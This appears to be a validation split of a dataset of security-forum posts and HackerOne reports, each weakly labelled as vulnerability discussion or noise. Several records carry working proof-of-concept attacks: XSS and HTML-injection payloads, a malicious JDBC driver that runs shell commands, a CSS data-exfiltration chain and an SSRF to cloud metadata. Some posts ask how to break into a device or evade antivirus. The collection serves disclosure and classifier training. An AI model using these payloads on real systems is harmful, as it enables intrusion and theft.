-{"id": "80493eeb3f4870783847", "text": "[Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)] [h1-2102] HTML injection in packing slips can lead to physical theft\n\n## Summary:\nA HTML injection vulnerability exists in the packing slip generator, allowing customers to alter the logistical process of their and other's orders for shops that choose to display the user's e-mail address on the packing slip. The success rate depends on the shops setup and can result in financial losses for the affected stores.\n\n###Background - how stores use the packing slip\nOnce an order comes in, the packing slips and shipping labels get printed to be processed. From my understanding, when preparing orders, logistical teams don't go back and forth between the Shopify orders, but print the packing slips in bulk (hence the new ability to print in bulk), fill the boxes in the warehouse with whatever is on the packing slip, put on a shipping label on the box and send it off.\nShould the customer be able to alter these packing slips upon printing, it could be possible to alter what (and how many) items will be in their box. It is observed that this is possible using some CSS tweaks and a HTML injection in the e-mail field.\n\n## Prerequisites\n\n- You'll need a store with a product that you can order. You can either work with a bogus payment gateway, or set the price of the product to 0 and mark it as a non-physical good so there's no shipping costs involved.\n\n## Steps To Reproduce:\n-  Go to admin > delivery and set a packing slip template that displays the user's e-mail address in the billing / checkout info. **You can use the one in the attachment** (packingslip.txt). The example should look like this:\n\n{F1171862}\n\n- As a customer, go to the store and check out the item. **Buy only one**, we'll alter the amount through this bug as a PoC.\n\n{F1171898}\n\n- Enter the following e-mail (yes, this is a valid e-mail address, see  [RFC3696](https://tools.ietf.org/html/rfc3696)):\n\n> \"<style>.flex-line-item-quantity>p{font-size:0}.flex-line-item-quantity:after{content:'1337\\0000a0of\\0000a01337';margin-left:420px;}</style>\"@gmail.com\n\n{F1171899}\n\n- Complete your order:\n\n{F1171900}\n\n- You're done! Now wait and profit!\n\n**From the shop employee's perspective, go to orders. You have a new order, yay!**\n\nFree product has been ordered one time. Great! Let's print the packing slip (in big stores this would be printed in bulk, so people wouldn't really notice anything):\n\n{F1171902}\n\nNotice that the packing slip looks like this:\n\n{F1171903}\n\nSeems like the logistics team will be shipping *1337* items in instead of 1. We only paid for 1.\nWe could also alter other stuff, like the actual item, or when printed in bulk, we could alter _other_ people's packing slip. The sky is the limit! This won't work for all shops, but when it does, the impact will be very effective.\n\n## Impact\n\n- Literally steal goods\n- Alter other people's stuff as well if they use the bulk printer (e.g. add a special note, put your return address on the slip instead of the shop's, etc...)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c89ae00bfda44e86c2ee", "text": "[Information Disclosure] Potential IP revealing using UNC Path in Windows File Picker\n\nThis report is inspired by #294364. The release note says that after fixing [Bug 26424](https://trac.torproject.org/projects/tor/ticket/26424), UNC path is disabled in Tor. But I found that I can still type UNC path in Windows file picker dialog box, and that sends requests to remote servers without Tor proxy.\n\nSome social engineering is required to exploit this trick though. Attackers can use <input type=\"file\"> on their website, and trick users to click \"Browse\" and type an attacker-controlled IP address into file picker in UNC format.\n\nIs it possible to disable UNC path in the Windows file picker? If not, how about showing a warning message?\n\n## Impact\n\nWith some social engineering, attackers can know user's real IP address with <input type=\"file\">.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "98e3fdebbd0bf0bb0fe0", "text": "[Unknown] [Python]: Timing attack\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2579226c8adbe632f84e", "text": "I’m just starting looking into networks and security (extremely new), however, I need to know how to gain access to an iPhone on my Wi-Fi? There seems to be an iPhone that keeps logging on my network, even though I’ve changed my password, and at this time I just want to know if there is a way for me to get in their device since they are using my Wi-Fi? Idk where else to go. TIA", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-06-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "edc991d4e2da3bfaa822", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e765633c2c8d8dc53207", "text": "Easter Bunny hide message\n\nhello friends i am trying to solve the easter bunny machine but i couldn’t solve it can you help me?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0b8f11b3c187397414b6", "text": "If anybody is having issues with part 2 of Skill Assessment-Service Login, follow the HTB Academy steps for FTP Brute Forcing very closely. The best tip I can give you is to be patient because it can take a while for the brute force to work", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b7ebc870483d867d2ab", "text": "[Information Exposure Through Sent Data] CVE-2022-27779: cookie for trailing dot TLD\n\nPublished Advisory: https://curl.se/docs/CVE-2022-27779.html\n\nOriginal Report: https://hackerone.com/reports/1553301\n\n## Impact\n\nThis can allow arbitrary sites to set cookies that then would get sent to a different and unrelated site or domain. (ie. conduct session fixation attacks.)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27779"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "db8c17b7eac1f8cb07ed", "text": "[Information Disclosure] Path paths and file disclosure vulnerabilities at influxdb.quality.gitlab.net\n\n> NOTE! Thanks for submitting a report! Please note that initial triage is handled by HackerOne staff. They are identified with a `HackerOne triage` badge and will escalate to the GitLab team any. Please replace *all* the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!\n\n### Summary\n\nPath paths and file disclosure vulnerabilities at influxdb.quality.gitlab.net\n\nHi, I discovered a file disclosure vulnerability within the influxdb.quality.gitlab.net domain This allows attackers to only get arbitrary files from remote servers. Where the file stack trace can be viewed without authentication. A heap file is an unordered set of records, stored on a set of pages. This class provides basic support for inserting, selecting, updating, and deleting records. Temporary heap files are used for external sorting and in other relational operators. A sequential scan of a heap file (via the Scan class) is the most basic access method.\n\n### Steps to reproduce\nVulnerability endpoint:\n```\n1. https://influxdb.quality.gitlab.net/debug/pprof\n2. https://influxdb.quality.gitlab.net/debug/pprof/goroutine?debug=1\n3. https://influxdb.quality.gitlab.net/debug/pprof/heap\n4. https://influxdb.quality.gitlab.net/debug/pprof/trace\n5. https://influxdb.quality.gitlab.net/metrics/\n6. https://influxdb.quality.gitlab.net/stats.json\n```\n\n## Impact\n\nallows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0455d5281778443b6b48", "text": "[Privilege Escalation] jdbc apache airflow provider code execution vulnerability\n\nIn  airflow.providers.jdbc.hooks.jdbc.JdbcHook, A privilege escalation vulnerability exists in a system due to controllable `Driver Path` and `Driver Class` parameters which cause executing any java code. \n\nVulnerability reproduction steps: \n1. create a malicious jdbc driver, like this\n\n```\nimport java.io.*;\nimport java.sql.*;\nimport java.util.Properties;\nimport java.util.logging.Logger;\n\npublic class Test implements Driver {\n\n    static {\n        try {\n            cmd();\n            DriverManager.registerDriver(new Test());\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public Connection connect(String url, Properties info) throws SQLException {\n        return null;\n    }\n\n    @Override\n    public boolean acceptsURL(String url) throws SQLException {\n        try {\n            cmd();\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        }\n        // 验证URL是否为该驱动程序所支持的URL\n        return url.startsWith(\"jdbc:mydb:\");\n    }\n\n    @Override\n    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {\n        return new DriverPropertyInfo[0];\n    }\n\n    @Override\n    public int getMajorVersion() {\n        return 1;\n    }\n\n    @Override\n    public int getMinorVersion() {\n        return 0;\n    }\n\n    @Override\n    public boolean jdbcCompliant() {\n        return false;\n    }\n\n    @Override\n    public Logger getParentLogger() throws SQLFeatureNotSupportedException {\n        return null;\n    }\n\n    public static void cmd() throws IOException {\n        String[] cmd = {\"sh\", \"-c\", \"whoami\"}; \n        Process p = Runtime.getRuntime().exec(cmd);\n        InputStream in = p.getInputStream();\n        BufferedReader reader = new BufferedReader(new InputStreamReader(in));\n        File outputFile = new File(\"/tmp/airflow-jdbc.txt\");\n        BufferedWriter writer = new BufferedWriter(new FileWriter(outputFile));\n        String line;\n        while ((line = reader.readLine()) != null) {\n            writer.write(line);\n            writer.newLine();\n        }\n        writer.close();\n    }\n}\n```\ngenerate a jar package.\n\n2. config jdbc connection\nGo to the Connection configuration page. \nFill in the `driver path` with the path of jar package generated in the previous step. \nFill in the `driver class` with the value of Test.\n\n3. click on the test button\nClick on the test button and it can be observed that the command is executed and a file named airflow-jdbc.txt is generated in the /tmp directory.\n\n\nThis is a screenshot of my email exchange with Airflow developers:\n\n███", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ffed016009cc34bd24d", "text": "[Improper Restriction of Authentication Attempts] Password reset endpoint is not brute force protected\n\nOversight of https://github.com/nextcloud/security-advisories/security/advisories/GHSA-v243-x6jc-42mp (https://hackerone.com/reports/1841665, but I can't judge the content there as it is not yet public).\n\nIn any case. The whole lostpassword flow is now annotated with bruteforce protection. Except the endpoint that actually matters. https://github.com/nextcloud/server/blob/master/core/Controller/LostController.php#L226-L229\n\nAn attacker can still happily try to brute force the token. Without getting throttled.\n\n## Impact\n\nThe lostpassword flow is without actual bruteforce protection.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "57e29c71febe8d509ad7", "text": "Did you end up getting it? Took me a while to see why it wasn’t working through the debugger. I get it now. This info really helped break looks the cobwebs in my head: Skills Assessment - 32 bit buffer overflow HTB ACADEMY Tools You can only debug a setuid or setgid program if the debugger is running as root. The kernel won't let you call ptrace on a program running with extra privileges. If it did, you would be able to make the program execute anything, which would effectively mean you could e.g. run a root shell by calling a debugger on /bin/su. So you might need to think of another way to get the shellcode triggered outside GDB", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0740fa2c11ca90fd0926", "text": "[Cross-site Scripting (XSS) - DOM] CSS Injection via Client Side Path Traversal + Open Redirect leads to personal data exfiltration on Acronis Cloud\n\n## Summary\n\nHi team, I hope everything goes well.\nI have found a CSS Injection in Acronis Cloud Management Console`https://mc-beta-cloud.acronis.com/mc` via the `color_scheme` GET parameter.\n\n## Description:\n\nThe flow work as I will comment below.\n\nIf we go to the URL` https://mc-beta-cloud.acronis.com/mc/?color_scheme=PARAMETER` we can see by looking at the javascript code that it will get the `color_scheme` GET parameter and will make a GET request concatenating the previous value to the URL of the CSS file, in this case is the following URL `https://mc-beta-cloud.acronis.com/mc/theme.PARAMETER.css` to request the CSS file and load it.\n\nYou can see it in the following image the request made to load the CSS commented bellow:\n\n{F1354281}\n\nSince the front end doesn't sanitize the values `.` and `/` its possible to perform a `path traversal `to request the CSS file from other path. \nFor example, if you go to:\n`https://mc-beta-cloud.acronis.com/mc/?color_scheme=%2F..%2F..%2FPARAMETER`\n\nYou will notice a GET request is being made to the following URL, confirming the `Relative Path Overwrite` issue:\n`https://mc-beta-cloud.acronis.com/PARAMETER.css?v=24.0.10942`\n\nYou can see it in the following image too:\n\n{F1354280}\n\n\nThis little issue by itself doesn't appear to be any security issue but if we combine it with a `open redirect` it could be possible to make a request to the vulnerable endpoint to the open redirect and redirect to the domain where the evil CSS file is stored, this attack is possible because when we load any CSS file by default it follows all the redirects specified in the HTTP header `Location`.\n\nWhile looking at the HTTP requests to see if I could find any open redirect and demonstrate the impact I notice one interesting API endpoint \n`https://mc-beta-cloud.acronis.com/api/2/idp/authorize/?client_id=fb2bf44e-ac14-444a-b2a9-e5e81fe73b80&redirect_uri=%2Fhci%2Fcallback&response_type=code&scope=openid&state=http://localhost&nonce=bhgjuvrrvpwauibleqhvfqat`.\nNotice the `state` GET parameter is controllable by the user so we can specify any external domain where to redirect the user.\n\nLet's see the response to the previous request:\n{F1354247}\n\nAnd if we follow the `Location` HTTP header to the endpoint `https://mc-beta-cloud.acronis.com/hci/callback?code=FSNuJgJAWX2HOVFg%3D%3D&state=http://localhost` we can confirm the `Open Redirect` issue:\n\n{F1354248}\n\nI have been digging into it and by creating other account I confirmed that if any user make a request to the first endpoint with the same GET parameters as `client_id`,  `redirect_uri`, `response_type`, `scope`,  `state` and `nonce` it will be redirected to `http://localhost` so once we know that there is no need to guess any user parameter as `client_id` makes the attack more easy because the user only needs to visit a link with a crafted `color_scheme` parameter and the same parameters for the open redirect seen bellow.\n\n\nOnce we confirmed the `Relative Path Overwrite` and `Open Redirect` let's put it all together to make the exploit.\nWe know that when we load any CSS file it follows all the redirects specified in the HTTP header `Location` so if we are able to overwrite the relative path to the vulnerable Open Redirect endpoint, redirecting the user to the CSS file of my domain we can exfiltrate user personal information by using CSS properties.\n\nBy putting together these two tricks if the `color_sheme` have the value:\n\n`%2F..%2F..%2F..%2Fapi%2F2%2Fidp%2Fauthorize%2F%3Fclient_id%3Dfb2bf44e-ac14-444a-b2a9-e5e81fe73b80%26redirect_uri%3D%252Fhci%252Fcallback%26response_type%3Dcode%26scope%3Dopenid%26state%3Dhttp%253A%252F%252Flocalhost%252Fcss%252Fcore.css%26nonce%3Dbhgjuvrrvpwauibleqhvfqat`\n\nYou will notice that the first thing we do in the previous payload is `Overwrite the Relative Path` to the root directory. Then we specify the endpoint vulnerable to the `Open redirect` and in this vulnerable endpoint redirect the ", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1a229b3e6f49c89deceb", "text": "Hello every I am learning C#. because I want to bypass Anti-Viruses by C#.But I don’t know how to learn this knowledge about bypass Anti-Viruses by C#.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-08-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c3c67345236ee6652be4", "text": "Hey, do we brute force for ssh or ftp for g.potter login?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c5db390efafaadb2036b", "text": "[Server-Side Request Forgery (SSRF)] Full read SSRF at █████████ [HtUS]\n\nHeyy there,\nWe have found a full read ssrf vuln in https://█████ , we were able to hit the AWS Metadata endpoint (http://███████) though the SSRF Vuln.\n\n\n------------\n\n**Steps to reproduce:**\n\n1.Goto https://██████/users/create and create an account\n2.After you account is verified , get login\nIf for some reasons you are not the verification code, try with a gmail id\n\n3.Now visit: https://████/products/create/   and fill the required details\n4.Once your product is created, click on `New Configuration` which is under *LRS Configurations*\n\n████████\n\n5.Enter this as the input for * LRS URL *: `http://█████████/latest/meta-data?` (the question mark at the end is important)\n6.Under *Basic Auth User & Pass* enter test for both fields and click on `Create new LRS configuration` \n\n█████\n\n7.Once the `Configuration` is created click on the `Test` button beside the conifguration name\n████\n8.Now you will be redirected to the homepage, so go back to the product page\n9.Under `Past Results` you should be able to see a new entry\n10.Click on `Manage Test record` > `Download log`\n11.Now check the `Include HTTP` checkbox and from the `Log Format` drop down menu choose *Plain text*\n\nA file with the name `log` should be downloaded in your computer, just open it and there you will find the response from the aws meta data endpoint:\n\n```\n\n\"\"\nfailed\n\"SyntaxError: Unexpected token a in JSON at position 0\"\nREQUEST SUPERREQUEST\n_______________________________________\nPOST /latest/meta-data?/statements HTTP/1.1\nX-Experience-API-Version: 1.0.3\nAuthorization: Basic dGVzdDp0ZXN0\nhost: ██████████\naccept: application/json\ncontent-type: application/json\ncontent-length: 324\nConnection: close\n\n{\"actor\":{\"objectType\":\"Agent\",\"name\":\"xAPI mbox\",\"mbox\":\"mailto:████\"},\"verb\":{\"id\":\"http://███\",\"display\":{\"en-GB\":\"attended\",\"en-US\":\"attended\"}},\"object\":{\"objectType\":\"Activity\",\"id\":\"http://www.example.com/meetings/occurances/34534\"},\"id\":\"3b9e4565-07ac-475f-be1f-d5f590f40779\"}\n\nRESPONSE SUPERREQUEST\n_______________________________________\nHTTP/1.0 200 OK\naccept-ranges: bytes\ncontent-length: 326\ncontent-type: text/plain\ndate: Wed, 06 Jul 2022 13:48:12 GMT\nlast-modified: Thu, 30 Jun 2022 09:37:12 GMT\nconnection: close\nserver: EC2ws\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhibernation/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n=======================================\nREQUEST SUPERREQUEST\n_______________________________________\nGET /latest/meta-data?/statements?statementId=3b9e4565-07ac-475f-be1f-d5f590f40779 HTTP/1.1\nX-Experience-API-Version: 1.0.3\nAuthorization: Basic dGVzdDp0ZXN0\nhost: ██████\nConnection: close\n\nRESPONSE SUPERREQUEST\n_______________________________________\nHTTP/1.0 200 OK\naccept-ranges: bytes\ncontent-length: 326\ncontent-type: text/plain\ndate: Wed, 06 Jul 2022 13:48:12 GMT\nlast-modified: Thu, 30 Jun 2022 09:37:12 GMT\nconnection: close\nserver: EC2ws\n\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhibernation/\nhostname\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\npublic-keys/\nreservation-id\nsecurity-groups\nservices/\n=======================================\n\n```\n\n## Impact\n\nAn attacker can dump aws keys  , reach internal hosts and etc\n\n\nThankyou\nRegards\nheint and sudi", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cbf7b00f4d59657d73a6", "text": "[Cross-site Scripting (XSS) - Reflected] cross site scripting in : mtn.bj\n\n## Summary:\nXss vulnerability in mtn.bj  in file name \n\n## Steps To Reproduce:\n\n\n  1.Go to : \nhttps://www.mtn.bj/business/ressources/formulaires/plan-de-localisation-de-compte/?next=https://www.mtn.bj/business/ressources/formulaires/formulaire-de-souscription/\n  2 - fill all inputs with any data \n3 - in file upload upload a file with payload file name such as : \"><img src=x onerror=alert(document.cookie);.jpg\n\n4-the payload will executed in the page .\n\n## Supporting Material/References:\n1 - video showing poc \n2 - screen shot\n\n## Impact\n\nexecute malicious java script in user browser", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4aea0822e4fdc0582a61", "text": "[Path Traversal] Relative Path Traversal vulnerability in fabric-private-chaincode\n\nUnsanitized input from `os.Args[3] : 75` CLI argument flows into `os.OpenFile`, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to open arbitrary files.\n\nThe following steps of code lines with respective code confirm the issue:\n\n-  utils/fabric/peer-cli-assist.src/peer-cli-assist.go\n\n##Data flow - **5 steps in 1 file**\n\n- Step (1,2) - Line 75:49 - `os.Args[3], os.Args[3]` (**SOURCE**) 1 - 2 [Data is 'tainted' if it comes from an insecure source such as a file, the network, or the user.]\n- Step (3) - Line 85:71 - `resultPipeName \n- Step (4,5) - Line 87:37 - `resultPipeNameos.OpenFile(resultPipeName, os.O_APPEND|os.O_WRONLY, 0644)`\n                            Line :37 - `resultPipeName`\n                             Line :25 - `os.OpenFile(resultPipeName, os.O_APPEND|os.O_WRONLY, 0644)`[the operations that must receive clean data and that you wouldn't want an attacker to be able to manipulate]\n\nReferences : https://cwe.mitre.org/data/definitions/23.html\n\nExample fixes : \n[Link 1](https://github.com/pacolang/paco/commit/d05f41cb0aa3167b86bd3b1063d07d7e64bec86f?diff=split#diff-7ddfb3e035b42cd70649cc33393fe32cR26)\n[Link 2](https://github.com/trinchan/slackbot/commit/c8350a18049c609ef7b6847666d07e69aca9fb46?diff=split#diff-f2f667c6f0bb538d9d35241bd93421fcL18)\n[Link 3](https://github.com/ketchuphq/ketchup/commit/31630fa4703d23c6055439536fd661d3c47da038?diff=split#diff-d72b60c856c1aa9b8e14c2c3c4b221abL59)\n\n## Impact\n\n**Writing arbitrary files:** Allows the attacker to create or replace existing files.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "98f35e866c7f932b74f9", "text": "interssting to change the mac adress. the best I guess is to buy a new laptop phone with a prepaid 4g internet connection. then use linux with proxychains that use tor connection and change also your dns. But you are right I didn’t think of changing your mac adress.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-07-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d46b54cd0705181c9d5a", "text": "[Improper Authentication - Generic] No Rate Limit On Forgot Password on https://apps.nextcloud.com\n\nHi,\n     I have found no rate Limit on forgot password.\n\nSummary:-\nA rate limiting algorithm is used to check if the user session (or IP address) has to be limited based on the information in the session cache. In case a client made too many requests within a given time frame, HTTP servers can respond with status code 429: Too Many Requests. (wikipedia) I just realized that on the reset password page, the request has no rate limit which then can be used to loop through one request.\n\nStep to reproduce:-\n1-Go to https://apps.nextcloud.com/password/reset/.\n2- Enter email address\n3- Intercept burp and send request to intruder\n4- Select the number 1 to 50 and click on start attack.\n5- You will get 302 OK\n6- I already attached the PoC video too if you don't understand my explanation and Sorry for inconvenience for video please do mute before watching video.\n\nSuggested to fix:-\nUse CAPTCHA verification if many requests are sent. \n\nReference:-\nhttps://hackerone.com/reports/751604\n\n## Impact\n\nIf You Are Using Any Email Service Software API Or Some Tool Which Costs You For Your Email This Type Of Attack Can Result You In Financial Lose And It Can Also Slow Down Your Services It Can Take Bulk Of Storage In Sent Mail Although If Users Are Affected By This Vulnerability They Can Stop Using Your Services Which Can Lead To Business Risk\nAttackers could use this vulnerability to bomb out the email inbox of the victim.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "407d032f5d19f1ae59b7", "text": "[Unknown] Yet another SSRF query for Javascript\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87a21e022439555bfe65", "text": "[Improper Access Control - Generic] Delete external storage of any user\n\nA security vulnerability was uncovered that allowed standard users to remove external storage resources from any user account in the application. This flaw was particularly concerning because it enabled unauthorized users to delete these resources based on a system-generated ID, which automatically incremented, without requiring any special privileges. This issue didn't grant access to the data but allowed for the indiscriminate removal of external storage associated with user accounts, potentially leading to data loss and disruption of service for affected users.\n\nReproduction Steps:\n1.Begin by logging in with a standard user account and establish an external storage connection.\n2. Afterward, update the storage configuration. Observe that the following request is generated:\n```\nPUT /apps/files_external/userstorages/<storage_id> HTTP/1.1\nHost: 127.0.0.1:9090\n[REDACTED]\n\n{\"mountPoint\":\"simpleuser\",\"backend\":\"owncloud\",\"authMechanism\":\"password::logincredentials\",\"backendOptions\":{\"host\":\"cq6xxrdnw1941wu9jk4gcyfuglmfa4.oastify.com\",\"root\":\"\",\"secure\":true},\"testOnly\":true,\"id\":<storage_id>,\"mountOptions\":{\"enable_sharing\":true,\"encoding_compatibility\":false,\"encrypt\":true,\"filesystem_check_changes\":1,\"previews\":true,\"readonly\":false}}\n```\n3.Next, log in to the application with an administrative user account or any other role and establish a storage connection.\n4.Observe that each new storage created increments the ID automatically. For instance, it could become 28.\n5. Using the standard user role, issue the request once more to modify the ID linked to the administrative storage. Observe that this action leads to the removal of the storage from the administrator's account.\n\nVIDEO POC:\n{F2778950}\n\n## Impact\n\nThis finding has a huge impact on the application, including data loss, service disruption, unauthorized actions, data privacy concerns, security risks, and potential reputation damage.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fa231b3351370b8fb383", "text": "[Cross-site Scripting (XSS) - Stored] XSS in HTML generated by RDoc\n\nXSS is possible in some places because escaping is not enough in the html generation part of RDoc.\n\n\n### RDoc::Markup::ToHtml#gen_url\n\nhttps://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html.rb#L330\n\n```ruby\n  def gen_url url, text\n    scheme, url, id = parse_url url\n\n    if %w[http https link].include?(scheme) and\n       url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n      \"<img src=\\\"#{url}\\\" />\"\n    else\n      if scheme != 'link' and /\\.(?:rb|rdoc|md)\\z/i =~ url\n        url = url.sub(%r%\\A([./]*)(.*)\\z%) { \"#$1#{$2.tr('.', '_')}.html\" }\n      end\n\n      text = text.sub %r%^#{scheme}:/*%i, ''\n      text = text.sub %r%^[*\\^](\\d+)$%,   '\\1'\n\n      link = \"<a#{id} href=\\\"#{url}\\\">#{text}</a>\"\n\n      link = \"<sup>#{link}</sup>\" if /\"foot/ =~ id\n\n      link\n    end\n  end\n```\n\n```md\n[<script>alert`link text`</script>](a)\n\n[click](javascript:alert`javascript_scheme`)\n\n[onmouseover](http://\"/onmouseover=\"alert`on_mouse_link`\")\n\n[link_image](http://\"onerror=\"alert`link_image`\".png)\n```\n\nHTML containing the following XSS will be generated.\n\n```html\n<p><a href=\"a\"><script>alert`link text`</script></a></p>\n\n<p><a href=\"javascript:alert`javascript_scheme`\">click</a></p>\n\n<p><a href=\"http://\"/onmouseover=\"alert`on_mouse_link`\"\">onmouseover</a></p>\n\n<p><img src=\"http://\"onerror=\"alert`link_image`\".png\" /></p>\n```\n\n\n### RDoc::Markup::ToHtml#handle_RDOCLINK\n\nhttps://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html.rb#L97\n\n```ruby\n  def handle_RDOCLINK url # :nodoc:\n    case url\n    when /^rdoc-ref:/\n      $'\n    when /^rdoc-label:/\n      text = $'\n\n      text = case text\n             when /\\Alabel-/    then $'\n             when /\\Afootmark-/ then $'\n             when /\\Afoottext-/ then $'\n             else                    text\n             end\n\n      gen_url url, text\n    when /^rdoc-image:/\n      \"<img src=\\\"#{$'}\\\">\"\n    else\n      url =~ /\\Ardoc-[a-z]+:/\n\n      $'\n    end\n  end\n```\n\n```markdown\nrdoc-image:\"><script>alert(`rdoc-image`)</script>\"\n\nrdoc-label::path::\"><script>alert(`rdoc-label_id`)</script>\"\n\nrdoc-label::\"><script>alert(`rdoc-label_path`)</script>\"\n\nrdoc-ref:\"><script>alert(`rdoc-ref`)</script>\"\n\nrdoc-xxx:\"><script>alert(`rdoc-xxx`)</script>\"\n````\n\n```html\n<p><img src=\"\"><script>alert(`rdoc-image`)</script>“”></p>\n\n<p><a id=\"path::\"><script>alert(`rdoc-label_id`)</script>“” href=“#”>:path::“><script>alert(`rdoc-label_id`)</script>”</a></p>\n\n<p><a id=\"\"><script>alert(`rdoc-label_path`)</script>“” href=“#”>:“><script>alert(`rdoc-label_path`)</script>”</a></p>\n\n<p>“><script>alert(`rdoc-ref`)</script>”</p>\n\n<p>“><script>alert(`rdoc-xxx`)</script>”</p>\n```\n\n\n### RDoc::Markup::ToHtmlSnippet#gen_url\n\nhttps://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html_snippet.rb#L168\n\n```ruby\n  def gen_url url, text\n    if url =~ /^rdoc-label:([^:]*)(?::(.*))?/ then\n      type = \"link\"\n    elsif url =~ /([A-Za-z]+):(.*)/ then\n      type = $1\n    else\n      type = \"http\"\n    end\n\n    if (type == \"http\" or type == \"https\" or type == \"link\") and\n       url =~ /\\.(gif|png|jpg|jpeg|bmp)$/ then\n      ''\n    else\n      